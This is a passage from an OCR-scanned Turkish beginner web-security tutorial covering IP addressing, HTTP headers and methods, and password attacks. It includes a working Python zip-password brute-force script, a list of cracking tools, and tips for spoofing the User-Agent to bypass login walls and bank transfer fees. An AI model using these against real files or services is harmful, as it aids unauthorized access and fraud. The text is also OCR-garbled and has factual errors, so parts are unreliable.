aciklayamayacagim. Fakat ileride blogumda elbet bir postta denk geleceginizin teminatini verebilirim.
AA

IP Adresi

Network iizerinde veri iletimini saglamak amaciyla kullanilan adrestir. Internet tizerinde her
cihaza ISP ( Internet Service Provider ) tarafindan IP adresi tanimlanir. Su anda IPv4 {izerinde
tanimlanmus 32 bitlik adresleri kullanmaktayiz. Bu 32 bit icerisinde 4 oktete ( 8 bit ) ayrilip x.x.x.x
haline gelmektedir. Peki su an biz google.com’a ulasmak istedigimizde neden google’in ip adresini
yazmiyoruz. iste tam bu noktada devreye domainler giriyor. Domainler sayesinde ip adresini yazmak
yerine browser iizerinden google.com yazarak istedigimiz adrese ulasiyoruz. IP adresleri ise aralarinda
dinamik ve statik olmak {izere ikiye ayriliyor. S6yle aciklamamiz daha dogru olabilir. ISP internete
cikmak isteyen herhangi bir kullaniciya bosta olan bir IP adresi tanimliyor. Bu sekilde olan IP ler
dinamik, server vb. islevde kullanilan bilgisayarlarda ise statik IP adresleri kullanilmakta.

IP Adres Smiflar:

A SINIFI

1.0.0.0 ile 127.0.0.0 arasindaki aglar1 tammlar. ilk oktet ag numarasim, kalan 3 oktet ise ag
icerisinde kullamilabilecek makine sayisimi belirlemektedir. Dolayisiyla ag basina 1.6 milyon makine
tamimlanabilmektedir.

B SINIFI

128.0.0.0 ile 192.255.0.0 arasindaki aglari tanimlar. Ilk iki oktet ag numarasini, kalan 2 oktet
ise ag icerisinde kullanilabilecek makine sayisini belirlemektedir.

C SINIFI

192.0.0.0 ile 223.255.255.0 arasindaki aglar1 tammlar. ilk 3 oktet ag numarasini kalan 1 oktet
ise ag icerisinde kullanilabilecek makine sayisim belirlemektedir.

D-E-F SINIFLARI

224.0.0.0 ile 254.0.0.0 arasindaki aglar1 tammlar. Bu adresler deneysel, belirli bir amag icin
ayrilan adreslerdir. Bir ag tamimlayabilme yeteneginden yoksundurlar.

Fakat tabi ki verimlilik adma ~ ----—--em—- > Classless Inter Domain Routing



Bu siniflar haricinde yerel aglarda kullanmak amaciyla ayrilmis IP adresleri bulunmaktadur.
Bunlar;

10.0.0.0 — 10.255.255.255
172.16.0.0 — 172.31.255.255

192.168.0.0 — 192.168.255.255 arasi olan IP bloklandir.

Ayrica 0.0.0.0 ve 127.0.0.0 adresi bizim makinemizdeki trafigi azaltmak amaciyla kendi makinemizi
ifade eder. 0.0.0.0 6n tammli rota iken 127.0.0.0 ise lookback (geridoniis) adresidir.

127.0.0.1 (localhost) adresi olan loopback interface ile gercek bir ag {izerinde olmadan bir kodu test
edebiliriz.

TCP/IP - OSI

Peki ikisi arasindaki fark nedir? Biz su an hangisini kullaniyoruz?

OSI modelinde her protokol, her prokotoliin alt gérevleri, aralarindaki iliski net bir sekilde
cizilmistir. Bu da bizim ileride ortaya koyacagimiz/olusturacagimiz herhangi bir protokoliin
gelistirilmesini kisitlamaktadir. Fakat bu aralarindaki iliskinin net bir sekilde ¢izilmesi bize her zaman
dezavantaj saglamamaktadir. Aksine OSI modeli iizerinde ¢alismak TCP/IP’ye nazaran daha verimli
olmaktadir. Fakat TCP/IP’de yeni olusturacagimiz bir protokolii icerigindeki 4 katman arasina bir yere
koyabilmekteyiz. Anlayacagimiz iizere OSI bize kat1 kurallar koyarken TCP/IP ise bize esnek bir
kullanim sunmaktadr.

Ee? Biz TCP/IP modelini mi yoksa OSI modelini mi kullaniyoruz? Bu konu benim oldukca
kafami kurcalamaktaydi. Ogrendigim halde aktarmak gerekirse; bizim kullandigimiz internet TCP/IP
temeli {izerine kurulu. Fakat TCP/IP de OSI modelinin entegre edilmis bir hali. Tam olarak
anlatamadigimin farkindayim. Tekrar agiklamak gerekirse OSI modeli arastirmacilar tarafindan
gelistirilmis bir model. Fakat yalmzca kagit iizerinde. Teorik bir model. Hicbir zaman 1’e 1 olarak
gercek diinyaya entegre edilmis degil. TCP/IP ise OSI modeli’nin gergek diinyaya entegre edilmis hali.
Boylece OSI modelinin ¢ogu ilkesini icerisinde barindirmakta fakat tamamen ayni ilkelere
dayanmiyor. Yukarida anlattigim gibi TCP/IP’de bulunan esneklik OSI modelinde bulunmuyor. Sonug
olarak OSI, TCP/IP’den 6nce olusturulmus fakat yalmzca kagit tizerinde olan bir model... Her konu
aralarinda derya deniz konular, ben sadece isimize yarayacak sekilde aktarmaya calisiyorum. Bu kadar
network bilgisi su an icin bize yeterli M



WEB 101



--- google.com'a nasil ulastyoruz?---

// "Basitlik en biiyiik karmasikliktr." :)

1- Makinamiz fise takariz.

2- Power tuguna basariz.

3- Browserimizi agariz.

4- Arag cubuguna google.com[server] yazariz.

5- Browserimiz bir paket hazirlar. 6rnek paket icerigi asagidaki gibidir;

GET /HTTP/1.0

Host: www.google.com.tr

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 1v:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Cookie: x

Connection: close

6- Makinamiz hosts dosyasina bakar.

IPAddress Hostname Alias
127.0.0.1 localhost
208.164.186.1 deep.openna.com
208.164.186.2 mail.openna.com
208.164.186.3 web.openna.com

// en basit olarak tarayicimiza yazilan localhost bizi 127.0.0.1 e yonlendiriyor. Fakat biz en bagsta
google.com a gitmek istiyorduk. Eee? google.com un alias'1 goziikmiiyor? Evet burada da yoksa;



7- Sayet routerimiz varsa orada da bir hosts dosyas1 bulunmakta. Makinemiz oradaki hosts dosyasini
da inceliyor. Sans ya orada da yok? Ne yapacak?

8- Routerdan sonra modeme ¢ikiyoruz. -

9- Modem bizi hizmet saglayicisina ¢ikariyor. (ISP) [tiirk telekom vs] orada google.com alias'i
bulunuyor.

10- Hazirlanan paketi google[web server] ald1. -

11- x.php'ye istedigimiz bir bilgiyi génderdi. // yalmzca php olmuyor, igerisinde yapilmis
konfigiirasyonla alakal1 asp ise asp python ise python

12- PHP yorumlayarak islemleri yapti.
Interpreted Programming Language - Compiled Programming Language

Yorumlama oldugundan bahsettik. Yazdigimiz kodlarin ¢alismasi icin o dilin yorumlayicisi
bulunmaktadir ve orada kodlarimiz caligtirilmaktadir

Soyle diistinelim; 50 satir kod yazdiniz. Kodun 48. satirinda syntax hatasi yaptimiz. Kodu
calistirdik ve yorumlayicimiza génderdik. Yorumlayici en bagtan 48. satirimiza kadar isini yapiyor.
Fakat 48. satira geldiginde bize syntax error oldugunu gosteriyor.

Mantigim anladigimiz iizere biz kodu her galistirdimizda kod her seferinde yorumlayici
tarafindan yorumlanmyor. Bu da bizim icin pek sorun olmasa da biiyiik projelerde performans agisindan
sorun ¢ikartabiliyor.

Peki hangi diller bu sekilde calismakta?
-Python

-PHP

-Java

-Ruby

Derlenen dillerde ise yukaridaki gibi yazdigimiz 50 satir kod cpunun da anlayabilecegi makine
diline gevrilir. Kodumuz direk bellekten calistirllmaktadir. Bir kez derledigimiz kod degisiklik
yapmadigimiz siirece tekrar derlenmek zorunda kalmaz. Derleme esnasi yorumlama esnasindan daha
uzun siirse de derledigimiz kodlar daha hizh ¢alisiyor.



Peki hangi diller bu sekilde calismakta?
-C

-Go

-Crystal

13- PHP sonucu apacheye iletti.

14- Apache, response paketi hazirladi.

15- Bizim ip mize cevabi yolladi. [modem]

--> Peki modem neden bize yolluyor da ayni ag icerisinde bulunan bagka bir bilgisayara yollamiyor?
Ciinkii modemimiz request'i hangi makinanin yaptigim biliyor.

Fakat response html halinde...

16-Google'n kendi web enginei [webkit] bu kodlarn yorumlayarak bize giizel logonun ulagsmasim
saghyor.Giizel doodle 11 ekranimiz1 bize gosteriyor. Sonug olarak browser HTML'i yorumluyor.

Peki yazdigimiz bir kod neden iexplorerda sorun c¢ikartiyor? Ciinkii iexplorer kendi webengineini
kullaniyor ve bazi html taglarini kabul etmiyorlar. Birazcik marjinal abiler degil mi...

Bu yiizden Chrome, Safari vs de kod diizgiin goziikiirken iexplorerda diizgiin géziikmeyebiliyor.

[1-10] asamalar request
[11-12] asamalar yorumlama
[13-16] asamalar response

[1- 9] asamalar ise yalnizca ve yalnizca ip'yi 6grenmemiz igin gerceklestiriyoruz.

{traceroute} ile bu agamalar1 6grenebiliyoruz.

traceroute google.com

1 *10.40.120.2 (10.40.120.2) 15.583 ms 15.603 ms
2 10.106.200.9 (10.106.200.9) 16.304 ms 20.706 ms *

3 10.106.211.21 (10.106.211.21) 22.676 ms 24.252 ms 24.273 ms

4 koK ok



5 212.174.132.253.dynamic.ttnet.com.tr (212.174.132.253) 28.583 ms 33.388 ms 36.773 ms

6 81.212.197.0.06-incesu-t2-1.06-incesu-t3-3.statik.turktelekom.com.tr (81.212.197.0) 36.739 ms
21.180 ms 21.161 ms

7 195.175.170.136.06-ulus-xrs-t2-1.06-incesu-t2-1.statik.turktelekom.com.tr (195.175.170.136)
771.394 ms 767.022 ms 765.034 ms

8 195.175.166.204.00-gayrettepe-xrs-t2-1.06-ulus-xrs-t2-1.statik.turktelekom.com.tr
(195.175.166.204) 28.817 ms 28.819 ms 24.954 ms

9 Sk k%

10 212.156.104.114.static.turktelekom.com.tr (212.156.104.114) 53.062 ms
212.156.104.112.static.turktelekom.com.tr (212.156.104.112) 52.967 ms
212.156.104.116.static.turktelekom.com.tr (212.156.104.116) 40.270 ms

11 74.125.51.92 (74.125.51.92) 547.629 ms 74.125.52.6 (74.125.52.6) 540.090 ms 74.125.51.92
(74.125.51.92) 537.473 ms

12 209.85.244.13 (209.85.244.13) 94.151 ms 90.595 ms 77.731 ms
13 209.85.253.114 (209.85.253.114) 89.705 ms * 81.155 ms
14 66.249.94.183 (66.249.94.183) 80.635 ms 84.673 ms *

15 bud02s24-in-f14.1e100.net (216.58.214.238) 84.568 ms 84.040 ms 89.464 ms

URL yapisina kisa bir bakis;

http://www.google.com.tr:/80/dizin/dosya.php?id=2
http -- protokel

www -- subdomain

google -- domain name

com -- uzanti

tr -- tilke uzantisi

80 -- port

/dizin/dosya.php -- path

? -- query

id=x — parametre



BRUTE FORCE - RAINBOW TABLE

Kriptoloji kismina koyacagim bir kisimdi. Fakat teorik bilgiden sikilip o kisimlarin
atlanildigim varsayarak burada kisa bir sekilde parolalara yonelik saldirilardan bahsetmek istiyorum.

Brute force, saldirganin bircok parolayi rastgele bir sekilde denedigi bir saldir seklidir. Tek
yonlii sifreleme algoritmalarindan bahsetmistik. Bu algoritmalarin kullanildig sifrelerin kirilmasinda
kullanilmakta.

Saldirgan sistematik olarak tiim olasiliklar1 dogru sifreyi bulana kadar denemektedir. Parola
uzunlugu saldir siiresince gececek olan siireyi tabiki de etkilemektedir. Yani kisa parolalar ¢ok hizl
bir sekilde kesfedilebilirken daha uzun parolalar daha fazla zaman alabilmektedir.

Brute force amaciyla kullandigimiz toollar;
cain&abel

hashcat

findmyhash

johnny the ripper

aircrack -ng

Brute force amaciyla kullandigimiz siteler;
onlinehashcrack.com

hashkiller.co.uk

crackstation.net

md5this.com

Hadi hep beraber Python'da kendimiz zip filelara brute-force yapan kiigiik bir script yazalim.
Oncelikle bir wordliste ihtiyacimiz var. Kendi wordlistimizi "Crunch" ile olusturabiliyoruz.

Oncelikle "apt-get install crunch”
Terminalde iken "crunch 3 7 oguzhan -o kiictikwordlistimiz.txt"

Burada parametrelerimiz olan "3" olusturulacak en kisa string uzunlugunu, "7" ise olusturulacak en
uzun string uzunlugunu belirtiyor.



// Ben yaninda "oguzhan" yazdim fakat siz isterseniz farkh bir kelime kullanarak parametreleri
dilediginiz gibi degistirebilirsiniz.

Crunch will now generate the following number of lines: xx benzeri bir ¢ikt1 aldigimz takdirde
wordlistimizi hazir hale gelmis oluyor. Simdi scriptimize bakalim.

import zipfile
filename = "dosyaaadi.zip"
wordlist = 'kiiciikwordlistimiz.txt'
password = None
openfile = zipfile.ZipFile(filename)
with open(wordlist,'r') as f:
for line in f.readlines():
password=line.strip("\n")
try:
openfile.extractall(pwd=password)
password = 'Parolay1 bulduk! Parola: %s' % password
print(password)
except:

print("Ops!")"

Rainbow table, brute force a nazaran biraz daha gelismis bir saldin seklidir. Brute force ile
kaybedilen zaman kaybini asmay1 amaglamaktadir. Peki brute force da nerede zaman kaybediyoruz?

Aslinda yukarida pek fazla agiklamadik fakat brute force un temel mantiginda bir string in
hash i alimyordu ve elimizdeki parolanin hashi ile kiyaslama yapiliyordu. Her seferinde elimizde
bulunan wordlistteki farkh bir kelimeye gecildiginde bu islem tekrarlaniyordu. Yani stirekli bir
wordlistte bulunan stringleri tek tek hashliyorduk. Iste tam bu noktada yardimimiza rainbow table
kosuyor.

Rainbow table 1n bir kolonunda brute force wordlistindeki gibi normal parolamiz bir diger
kolonunda ise parolanin hashlenmis hali bulunmaktadir. Tek tek hash olusturmak yerine yalmzca var
olan hashler arasinda bir kiyaslama yapiyor ve tespit ettiginde parolanin ne oldugunu 6grenebiliyoruz.
brute-force'a gore tek dezavantaji ¢ok ¢ok daha fazla yer kaplamasidir. RainbowCrack adli toolu da
kullanabiliyoruz. Farkl tek yonlii sifreleme algoritmalarina dair olusturulan tablolar1 kendimiz satin da
alabilmekteyiz.

http://project-rainbowcrack.com/buy.php'de bulunmakta. Boyut agisindan bir kiyaslama yapmak adina:



£ md5_mixalpha-numeric#1-9 a-z A-Z,0-9 110§ 96.8 % 690 GB

H md3_loweralpha-numeric#1-9 a-z 0-9 1108 99.9 % 63 GB
£ md5_loweralpha-numeric#i-10 a-z, 0-9 11010 96.8 % 316 GB
H shat_ascii-32-95#1-7 All 93 characters on standard keyboard o7 99.9 % 5268
£ shat_asci-32-95%1-8 All 95 characters on standard keyboard Tto8 96.8 % 460 GB
H shal_mixalpha-numeric#1-8 a-z A-Z (-9 Tto8 99.9 % 127 GB
£ sha1_mixalpha-numeric#1-9 a-z A-Z,0-9 110§ 96.8 % 690 GB
H shal_loweralpha-numeric#1-9 a-z 0-9 1108 99.9 % 63 GB
£ sha1_loweralpha-numeric#1-10 a-z, 0-9 11010 96.8 % 316 GB

Isterseniz yukarida yazdigimiz scripti biraz daha gelistirip olusturdugunuz wordlist
icerisindeki her satirda bulunan stringin yanina istediginiz algoritma ile hashlenmis yeni stringi
ekleyip script ile kendi rainbow tableimizi olusturabilirsiniz. Amacimiz sadece calisma mantigim
ogrenmek, toollara bagimli kalmamak adinaydi.

Parolalara yonelik saldir1 kismimiza ara verelim.

Active Directory

MySQL .\ LDAP

HTML  Flash
Apach
Backend pac\c /IES . \

Access v Browser

NoSQL
!
[\

NginX Tomcat Javascript

Applet

Resimden de anlayacagimiz iizere:



Backend tarafta calisan servisler:
- MySQL

- MSSQL

- LDAP

- Active Directory

-NoSQL

Sunucu tarafinda calisan servisler:
- Apache

-1IS

- nginx

- Tomcat

HTTP Headers

Her sey headerlarimiz icerisinde gidiyor.

*HTTP Request Header*

Birkag headerdan bahsedecegiz. Bu headerlarin tamamina ise PHP'de getallheaders() fonksiyonu ile de
ulagabiliriz.

Host

HTTP Requestini tanimlanmis bir IP adresine yaptigimizi traceroutedan bahsederken
ogrenmistik. Fakat aym IP altinda birden cok web sitesi barindirilabileceginden hangi alan adina istek
yaptigimizi browser bu sekilde dgreniyor.

Host: oguzhankaraaslan.com // en basitinden bir hostname

PHP'de -->$_SERVER['HTTP_HOST']



User-Agent
Bu baslik birden fazla bilgi tasiyabiliyor. Bunlar;
Tarayici adi ve siirtimii,
Sistem adi ve isletim sistemi siiriimii ve
Varsayilan dildir.

Websiteleri bu sekilde ziyaretcileri hakkinda birgok genel bilgiyi toplayabilmektedir. Yani
client tipinin ne oldugunu 6grenebiliyorlar.

Ornegin bir web sitesine girdigimizde mobil siteye veya masaiistii siteye yénlendirilmemiz
User-Agent sayesinde olmaktadir.

Peki biz bu header'1 kendimiz icin nasil kullanabiliriz? Uzerinden yaklasik 3-4 sene
gectiginden su an olup olmadigim bilmemekle beraber user-agent kismini ios yaparak garanti internet
bankaciliginda eftlerimizi bedavaya getirebiliriz.

Baska yapilacak bir diger sey ise bazi forumlarda herhangi bir dosya indirme, baslik okuma
vb. yerlerde login olmamiz gerektigini isteyen yerler icin user-agent imizi1 googlebot veya yandexbot
yaparak icerigi okuyabiliriz. Bu yontem kamp sirasinda hazirlanan CTF'de olan basit bir soruydu. Bu
kiiciik bilgiyle soruyu cok basit bir sekilde ¢ézebiliyordunuz.

User-Agent: googlebot

PHP'de --> $_SERVER['HTTP_USER_AGENT'] kullanarak gelen miisterinin kullandig1 browser eski
vb. ise istedigimiz uyariy1 gosterebiliriz.

if ( strstr($_SERVER['HTTP_USER_AGENT'],"Google Chrome") ) {

echo "Tebrikler! XSS'den korunuyorsunuz!"

Accept-Language

Bu baglik da kullanicinin varsayilan dil ayarim gostermektedir. Eger websiteniz degisik dil
versiyonlarina sahipse gelen miisteriyi geldigi dile ait hazirlanan yere yonlendirebilirsiniz.

Accept-Language: en-US,en;q=0.5

PHP'de --> $_SERVER["HTTP_ACCEPT_LANGUAGE"]



Accept-Encoding

Modern browserlarin cogu gzip desteklemektedir. Ve yine gzip sekilde headerdan
gonderilmektedir.

Web Server sikistirilmis formatta HTML output'unu bize gonderebilmektedir. Boyut, zaman ve
bant genisligi acisindan %80'e kadar zaman kazanmamizi saglamaktadir.

PHP'de ob_gzhandler() fonksiyonunu bu amag icin kullanabiliriz.

If-Modified-Since

Stirekli ziyaret ettiginiz bir web sitesini diisiinelim. Siteyi bir kez ziyaret etti§inizde site zaten
tarayic1 onbelleginizde kayitli hale gelmekte. iste biz ziyaret ettigimiz web sitesinin iceriginin énceki
ziyaretimizden sonra degisip degismedigini bu header ile 6grenebiliyoruz.

If-Modified-Since: Mon, 5 Nov 2016 x:x:x GMT

Peki web sitesinde hicbir degisiklik olmadiysa?

O zaman da header da 304 --> Not Modified cevabini alan browserimiz 6nbellekten icerigi
yiiklemekte.

PHP'de -->$_SERVER['HTTP_IF_MODIFIED_SINCE']

Cookie

Adindan da anlasilacagi iizere domain icin browserimizda bulunan cookie'yi géndermektedir.
Ulastigimiz sayfa bizi cogunlukla cookie'mizden tammaktadir. Genellikle Session Hijackinglerde
kullaniliyor.

Cookie: PHPSESSID="27 karakter",;

Cookie igerisinde bir de Session ID gordiik? Bu ne ola ki? ikisi arasindaki farki bilmemiz
acisindan 6nemli. Cookie browserimizda session ise sunucuda duruyor. 3. kullanic1 session umuzu
goremez yalnizca session id mizi gorebilmektedir. session bizim kim oldugumuzu id mizden
algilamakta. Sonug olarak Cookie silinene kadar session browser kapanana kadar tutulmaktadir.
Facebook, Telegram, WhatsApp vb. platformlarda daha 6nceden giris yapilmis yerlerden ¢ikilmasi
mantig ise bu sekilde isliyor.

PHP'de --> $_COOKIE array i ile cookie lere erisebiliyoruz. Session degiskenleri i¢in ise
$_SESSION array ini kullanabiliriz. Yalnizca session idlere ihtiyacimiz var ise session_id()
fonksiyonunu kullanabiliriz.



Referer

Kelimenin anlamindan anlayacagimiz iizere yonlendirme bilgisini tasimakta. Her sabah
"independent.co.uk" adresinden haberlerinizi okuyorsunuz. Bir makale dikkatinizi ¢ekti ve okumak
icin tikladinmz. Bagka bir sayfa yiiklendi vs.

O sayfanin http request paketine baktigimizda:

Referer: http://www.independent.co.uk/ kismim gorebiliriz. Yani temel olarak kullanicinin hangi sayfa
izerinden linke ulastig1 hakkinda bilgi vermekte.

Kelimenin dogru hali Referrer iken neden Referer olarak kullaniliyor maalesef bu konuyu
aragtirsam da aydinlatict bir bilgi bulamadim.

PHP'de --> $_SERVER['HTTP_REFERER']

Authorization & WWW-Authenticate

Bir web sayfasina erigsebilmemiz icin login olmamiz gerekiyorsa tarayici bir login penceresi
acar.

Kullanici adi ve parolamizi girdigimizde browserimiz farkl bir HTTP istegi génderir.
Girdigimizde gonderilen bir diger HTTP requestinde bu header'1 gorebiliriz.

Authorization: Basic b2d1emhhbjprYXJhYXNsYW4=// biz sqlmap kullanirken igimize
yarayacak bir header.

Encoded veri burada base64 ve decode edersek;
base64_decode('b2d1emhhbjprY XJhYXNsYW4=")
output == oguzhan:karaaslan

PHP'de --> $_SERVER['PHP_AUTH_USER']

* Paketler icerisinde degisiklik yapabiliyoruz. Yani Custom Packet Generate edebiliyoruz. Bunun igin
bazi extensionlar kullanabiliriz. Ek olarak Web Application Security kisminda kullanabilecegimiz
extensionlarda var. Bunlar:

- Hackbar // tavsiye ederim
- Tamper Data // tavsiye ederim
- Firebug //tavsiye ederim

- Add N Edit Cookies



- User Agent Switcher
- Live HTTP Headers
- CryptoFox
- FoxyProxy

// Bu extensionlar disinda neredeyse her islevi yerine getiren BurpSuite var. Onu kullanmaniz sizin
acimzdan daha faydali olacaktir.

*HTTP Response Header*

Cache-Control

Request header kisminda Cache'i 6grenmistik. Cache-Control'de ise 6nbellege alma
programlar tarafindan uyulmasi zorunlu olan parametreler belirtilmektedir.

Onbellege alma mekanizmalarina ISP nin de kullanabilecegi gateway ve proxyler de dahildir.

Cache-Control: max-age=1800, public

Public'den zaten anlagilacag) tizere response herkes tarafindan cache edilebilmektedir. max-
age kismu ise saniye bazindan ne kadar cache'de tutulacagi hakkinda bize bilgi vermektedir.

Request header kisminda bahsettik fakat websitenizin cached edilebilmesi bant genisligini
diisiirmek adina ve browser 1nizin web sitesini yiiklemesi adina sizin aginizdan avantajli bir durumdur.

Tabiki cache edilmesini istemiyorsaniz:

Cache-Control: no-cache ile bunun &niine gecebilirsiniz.

Content-Type
Bu header bize tarayicinin icerigi nasil yorumlayacagi hakkinda bilgi vermektedir.

Content-Type : text / html ; charset = UTF-8 // ayrica charset hakkinda da bilgi igerebilir. Charset
hakkinda detayli bilgiyi Kriptoloji kisminda verdik.

Bir gif resmi icin header ise soyle olacaktir:

Content-Type: image/gif

Tarayici bu esnada harici bir uygulama veya extension kullanmaya karar verebilir. Ornegin;



Content-Type: application/pdf seklinde olan bir header pdf readerimiz: agabilir.

PHP'de --> finfo_file() fonksiyonunu kullanabiliriz.

Bu header'1 Arbitrary File Upload Vulnerability esnasinda kullanacagiz.

Content-Disposition

Bu header icerigi agmak yerine dosyanin indirilmesi gerektigini tarayiciya bildirir. En son
HackCon'16 'da bir Amazon Server {izerinden livestream olan mp3 dosyay1 download etmem gerektigi
icin kullanmigtim. Tabi farkl amaclarda da kullanilabilir.

Content-Disposition: attachment; filename="amazon.mp3"

Tabiki de bu header bulunuyorsa Content-Type header'r da ayni pakette génderilmelidir.

Content-Length
Sunucu bu header 1 kullanarak iletilecek olan icerigin boyutunu gosterebilir.

Content-Length: 11111

Last-Modified

Adindan da anlayacagimiz iizere dokiiman tizerindeki son degisiklik tarihi hakkinda bize bilgi
Veriyor.

Last-Modified: Sat, 28 Nov 2015 02:20:42 GMT

Set-Cookie

Bir web sitesi tarayicimzda cookie olusturmak veya giincellemek istiyorsa bu header't
kullanmalidir. Cookie'ler direk HTTP headerlar iizerinden ayarlanmamakta. ise bu kisimda JavaScript
devreye giriyor.

PHP'de --> setcookie() fonksiyonu ile cookie olusturabiliyoruz.
// setcookie("oguzhan", "karaaslan"); header'a baktigimizda ise

Set-Cookie: oguzhan=karaaslan



Peki kendimizin olusturdugu bu cookie ne kadar durmaktadir? Herhangi bir expiration date
tamimlanmamigsa browser1 kapattiginizda olusturdugunuz cookie silinecektir.

*HTTP DURUM KODLARI*

1xx Informational (bilgi)
100-102 aras1
2xx Success (basar1)
200-210 aras1
3xx Redirection (yonlendirme)
300-307 aras1
4xx Client error (client hatasi)
400-424 aras1 ek olarak 451 --> "Unavailable for Legal Reasons"
5xx Server Error (server hatasi)

500-507 aras1 kodlar browser tarafindan yorumlanarak tarafimiza daha kolay anlayacagimiz
sekilde ulagmakta.

*HTTP METHODLARI*

Benim bildigim 8 tane method var.
1- GET

2- POST

3- HEAD

4- PUT

5- DELETE

6- CONNECT

7- OPTIONS

8- TRACE



GET METHODU

URL béliimiinde istedigimiz parametreleri belirterek bir web sunucusundan bilgi almak igin
kullaniliyor.

Belge okuma/alimi icin kullanilan default yontem GET methodu kullanmaktir.

Ornek:

request:

GET /HTTP/1.0

Host: www.google.com.tr

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 1v:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Cookie:

Connection: close

response:
HTTP/1.0 200 OK

Date: Wed, 24 Aug 2016 12:17:27 GMT
Expires: -1

Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN



POST METHODU

Genellikle bir bilgiyi ( bu bilgi herhangi bir sey olabilir), veya dosyayr HTML formlar1
izerinden gonderirken ise yaramakta.

Bir dosya giincellemek, form icerigi doldurmak, sunucuya veri géndermek istedigimizde
POST methodunu kullaniyoruz.

Ornek:

request:

POST /HTTP/1.1

Host: www.google.com.tr

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Content-Type: text/xml; charset=utf-8

Content-Length:

Accept-Language: en-us

Accept-Encoding: gzip, deflate, br

Connection: Keep-Alive

// Yiizeysel olarak bir inceleme yaparsak POST/GET methodlar arasindaki en belirgin fark sunucuya
gonderdigimiz verinin URL kisminda goziikiip goziikkmemesidir.

GET ile gonderilen verilen URL kisminda géziikiirken, POST ile gonderilen veriler URL kisminda
goziikkmez. Peki bu bizim nerede isimize yarayabilir? Soyle diisiinelim;

Elinizde biiytik bir veri var bunu POST ile gondeririz, boylece adres cubugunda gereksiz yer isgal
etmemis oluruz. Ayrica URL kismina tekrar deginmemiz gerekirse bu bizim POST ile veri
gondermemizin giivenli oldugunu gibi yanlis bir diisiince olusmasina sebep olmasin. Zaten biz
gonderdigimiz veriyi body icerisinde gorebiliyoruz.

https://linux.org.tr/news/21/

http://linux.org.tr/news.php?id=21 6rnekleri tizerinden hareket edersek de iki URL arasinda higbir fark
yoktur. Arkaplanda iki URL'de aym isleve sahiptir.



HEAD METHODU

Fonksiyon olarak GET methodu ile benzerdir. Serverdan response u ve header 1 alir fakat body
icerigine girmez.

Genellikle yalnizca header kismini cekmek icin kullanilmaktadir.

PUT METHODU

Karsida olan bir veriyi editleme amaciyla kullanilmaktadir. Gonderilmis url igeriginin
sunucuda saklanmasi/igerik degistirilmesi amaciyla kullanilir.

Ornek:

request:

PUT /ornekdosya.html HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 1v:46.0) Gecko/20100101 Firefox/46.0
Host: oguzhankaraaslan.com

Accept-Language: en-us

Connection: Keep-Alive

Content-type: text/html

Content-Length: x

response:

HTTP/1.1 201 Created
Date: x

Server: Apache/2.2.14

Content-type: text/html
Content-length: x

Connection: Closed



<html>

<body>
<h1>Ornek</h1>
</body>

</html>

DELETE METHODU
Belirli bir yerde bulunan bir dosyay1 silmek icin sunucuya istek génderirken kullanilir.

Ornek:

request:

DELETE /ornekdosya.html HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Host: oguzhankaraaslan.com

Accept-Language: en-us

Connection: Keep-Alive

response:
HTTP/1.1 200 OK
Date: x

Server: Apache/2.2.14
Content-type: text/html
Content-length: x

Connection: Closed



CONNECT METHODU
HTTP iizerinden bir sunucu ile baglant1 kurmak igin client tarafindan kullanilir.

Ornek:

request:
CONNECT oguzhankaraaslan.com HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

response:

HTTP/1.1 200 Connection established
Date: x

Server: Apache/2.2.14

TRACE METHODU

Genellikle development esanasinda debug amaciyla kullanilan HTTP request icerigini
goriintelemeye yarayan bir methoddur. Ag yapilandirmasinin nasil konfigiire edildigini anlamamiz
acisindan isimize yaramaktadir.

Ornek:

request:

TRACE /HTTP/1.1

Host: oguzhankaraaslan.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 1v:46.0) Gecko/20100101 Firefox/46.0

response:



HTTP/1.1 200 OK

Date: x

Server: Apache/2.2.14
Connection: close
Content-Type: message/http
Content-Length: x

TRACE /HTTP/1.1

Host: oguzhankaraaslan.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; 1v:46.0) Gecko/20100101 Firefox/46.0

OPTIONS METHODU

Aslinda gordiigiimiiz methodlarin hangilerini biz karsi tarafta kullanabiliyoruz sorusunu
cevaplandiran bir method.

Karsida bulunan sunucu tarafindan desteklenen HTTP methodlarim gérmek igin biz client
olarak bu methodu kullamyoruz. Ornekle daha giizel anlayabiliriz.

Ornek:
request:
OPTIONS * HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0

response:

HTTP/1.1 200 OK

Date: x

Server: Apache/2.2.14

Allow: GET,HEAD,POST,OPTIONS,TRACE [tam burada methodlarimiz1 gorebiliyoruz]

Content-Type: httpd



XSS - Cross Site Scripting

Web sitesinde html kodlarinin arasinda javascript kodlarini ¢alistirmamiza olanak saglayan bir
zaafiyet.

Input validation eksikliginden dolay: ortaya gikiyor. Yani inputtan aldigimiz veriyi bir filtreden
gecirmezsek bu zafiyetten etkilenebiliyoruz. Yani temel sorun disaridan kullanicinin girebildigi
parametrelerin filtrelenmemesinden dolay ortaya ¢ikiyor.

3 tiirlii xss imiz var. ben bunu 4 'e de ayiririm fakat global siniflandirma bu sekilde oluyor.

- DOM based
- Reflected
- Stored (!)

Aralarinda tehlike acisindan bir siniflandirma yapmanin dogru oldugunu diistinmiiyorum.
Ortaya ¢ikis yerlerine gore zafiyetin kullaniciy1 ne derecede etkileyecegi degiskenlik gosteriyor.
